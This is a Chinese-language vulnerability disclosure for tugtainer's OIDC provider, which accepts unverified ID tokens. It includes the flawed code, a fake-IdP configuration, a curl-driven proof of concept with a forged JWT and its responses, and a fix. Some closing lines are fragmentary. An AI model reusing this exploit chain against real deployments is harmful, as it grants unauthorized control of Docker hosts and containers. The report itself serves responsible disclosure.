CVE 状态: 已请求,待分配。此发现已发布为 GHSA-crjc-6vc7-xrfh。在 CVE 分配后,此仓库将重命名为
CVE-YYYY-NNNNN-tugtainer-PoC,并且此横幅将替换为 CVE 链接。
| 研究员 | Dostxodjayev Abdullox (@squeeze440) |
| 安全公告 | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (High) |
| 弱点 | CWE-347 |
Quenary/tugtainer(提交 3138226)中 backend/modules/auth/providers/auth_oidc_provider.py 的 OIDC 身份验证提供程序对加密签名验证不当,允许能够控制或拦截 tugtainer 后端与所配置 OIDC 提供程序之间令牌交换响应的攻击者(例如网络 MITM 位置、被入侵/恶意的身份提供程序,或该路径上的 DNS/TLS 终止被入侵)伪造任意 id_token,并通过 GET /api/auth/oidc/callback 为任意身份获取完全通过身份验证、等同于管理员的 tugtainer 会话。
Quenary/tugtainer — 自托管 Docker 容器自动更新工具,带有 Web UI、agent/backend 架构。
提交 31382268bf16df32f33316fe4d601ad1635871d4(仓库默认分支,克隆于 2026-08-05)。
8.1 (High) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H(而非 AC:L):利用并非简单的未认证网络请求。它要求攻击者控制 token endpoint 在服务器到服务器代码交换期间返回给后端的内容——现实中是 tugtainer 后端与真实 IdP 之间的 MITM 位置,或后端被配置为信任的被入侵/恶意 IdP。这是一个真实且非平凡的前置条件,因此使用 AC:H 而非 AC:L。UI:N:一旦攻击者拥有该网络位置,就不需要受害者交互——攻击者可以自行驱动整个登录流程(在下方 PoC 中已确认,使用 curl 端到端完成)。C:H/I:H/A:H:生成的会话是一个完整、不受限制的 tugtainer 会话(OIDC 身份不存在 RBAC/允许列表——见详情),可访问所有容器/主机管理端点:列出/读取所有 Docker 主机和容器、启动/停止/终止/删除容器、拉取镜像,以及(如果主机上启用了 ALLOW_HOOKS/ALLOW_EXEC)在容器内运行命令。S:U:影响仍停留在 tugtainer 自身的授权边界内(攻击者成为已认证的 tugtainer 用户);不被视为作用域变更为单独授权的组件。backend/modules/auth/providers/auth_oidc_provider.py,方法 _exchange_oidc_code(第 267–331 行),具体为第 299–306 行:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims()(python-jose)对 JWT 载荷进行 base64 解码,不检查签名、exp/iat 或 aud/iss——这与 OpenID Connect Core 1.0 §3.1.3.7 要求 RP 在信任 ID Token 之前所做的事情完全相反。开发者自己的注释(“not recommended for production”)证实这是一个已知的捷径,而非有意的设计选择。
生成的 claims 直接流入会话创建,且没有任何额外检查:
callback()(第 137 行)调用 _exchange_oidc_code(),然后调用 _create_oidc_user_session()(第 333 行),后者直接从未验证的 claims 中提取 email/sub/preferred_username(第 341–345 行),并通过 _set_cookies() 铸造真实的、已签名的 tugtainer access_token/refresh_token JWT cookie(HttpOnly、SameSite=strict)。backend/ 中 grep allowlist/allowed-email 模式没有任何返回)——无论(未验证的)claims 中的 sub/ 是什么,都会成为新会话的身份,并拥有与任何其他已登录用户相同的访问权限(tugtainer 具有单一扁平信任级别,没有按用户 RBAC)。这仅在 OIDC_ENABLED=true(管理员选择启用)时可触达,因此不影响默认/仅密码部署。
针对从此提交构建的真实应用程序(docker build -f Dockerfile.app)进行了动态验证,通过普通 docker run(而非已发布镜像)运行,配置如下:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
一个最小的伪造 OIDC 提供程序(evidence/fake_idp.py,保存在此参与文件夹中)提供有效的发现文档,并且在 POST /token 时始终返回一个 id_token,该 Token 在 RP 应当检查的每个方面都故意无效:
aud = "totally-wrong-client-id-not-tugtainers"(与 OIDC_CLIENT_ID 不匹配)exp = 1 小时前(已过期)步骤(真实命令、真实输出,两个容器均在本地运行):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
解码后的 access_token 载荷(由 tugtainer 自己的 JWT 签名器为此“用户”铸造):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
随后针对受保护端点实时确认会话:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
伪造 IdP 自己的日志确认了它交回的确切伪造 Token:
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
PoC 辅助文件:evidence/fake_idp.py(与本报告一起保存)。
未包含截图——这是一个服务器到服务器的 API 绕过,没有浏览器/UI 组件可捕获;上面的 curl 记录是真实、未经修改的命令/响应证据。
任何能够影响 tugtainer 后端所发起的 OIDC 令牌交换调用响应的攻击者(该网络路径上的 MITM、恶意/被入侵的 IdP,或后端与 IdP 之间的 DNS/TLS 终止被入侵)都可以以任意身份铸造一个完全有效、不受限制的 tugtainer 会话——无需知道任何真实用户的凭据,也不需要合法用户的交互。由于 tugtainer 没有按用户 RBAC,该会话拥有完整的应用程序访问权限:枚举所有已注册的 Docker 主机和容器、启动/停止/终止/删除容器、拉取/标记镜像,以及(在启用了 ALLOW_HOOKS/agent ALLOW_EXEC 的情况下)在容器内执行命令。
aud/iss/exp 检查)在 _exchange_oidc_code 中,将 jwt.get_unverified_claims(token["id_token"]) 替换为验证性解码:从发现文档中获取 IdP 的 jwks_uri,通过 kid 解析签名密钥,并调用 jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"])(python-jose 支持所有这些)。这会根据 OIDC Core 规范强制执行签名、exp/iat/nbf、aud 和 iss。对于与其他应用程序共享 IdP 的部署,还可考虑添加可接受的 email/sub 值的可选允许列表。
Dostxodjayev Abdullox (GitHub: squeeze440)
Quenary/tugtainer 上的 GitHub Security Advisory / Private Vulnerability Reporting(已确认启用 PVR)。
emailaud 和 iss,为同一 IdP 的完全无关客户端签发的 ID Token——或者如下所示,一个具有垃圾/不匹配签名且 exp 已过期的 ID Token——会像合法 Token 一样被接受。